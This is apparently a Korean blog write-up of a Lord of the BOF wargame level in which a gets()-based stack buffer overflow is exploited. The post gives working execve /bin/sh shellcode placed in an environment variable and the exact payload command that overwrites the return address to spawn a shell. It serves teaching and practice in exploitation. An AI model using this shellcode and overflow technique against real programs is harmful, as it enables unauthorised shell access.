이번 문제도 비슷하다. 대신 이번엔 argv로 입력을 받지 않고 gets()로 받는다.
우선 이럴 경우 값을 넘기는 방법은
(python -c 'print "[입력값]"';cat) | ./[실행프로그램]
이란것을 알고 넘어가자.
더미값은 여전히 없다. 즉 버퍼 16만큼 할당 받았으며 SFP를 포함하면 20바이트 후 ret가 존재한다는 것을 알 수 있다.
이번에도 버퍼크기상 쉘코드를 넣기 힘드니 환경변수를 사용할 것이다.
쉘코드의 이름을 SHELLCODE라고 할것이기에 코드를 이리 짰다.
export SHELLCODE=`python -c 'print "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
환경변수를 생성하고 주소를 알아보자.
주소가 0xbffffeba인 것을 확인했다.
이제 오버플로우 할 차례다.
위에서 말했듯이 SFP를 포함해 20바이트를 입력하고 ret값이 존재한다.
즉 20바이트를 입력하고 환경변수의 주소를 넣으면 쉘코드가 실행된다는 것이다.
그리고 글 처음에 언급한 대로 gets로 문자열을 받으므로
(python -c 'print "\x90"*20 + "\xba\xfe\xff\xbf"';cat) | ./goblin
로 코드를 짠다. 물론 주소는 스몰엔디안 형식으로 반대로 넣어야 한다.
실행 결과 Goblin의 비밀번호를 알아 낼 수 있다.
'LOB' 카테고리의 다른 글
LOB : Wolfman → Darkelf (0) | 2018.04.08 |
---|---|
LOB : Orc → Wolfman (0) | 2018.04.08 |
LOB : Goblin → Orc (0) | 2018.04.08 |
LOB : Gremlin → Cobolt (0) | 2018.04.04 |
LOB : Gate → Gremlin (0) | 2018.04.04 |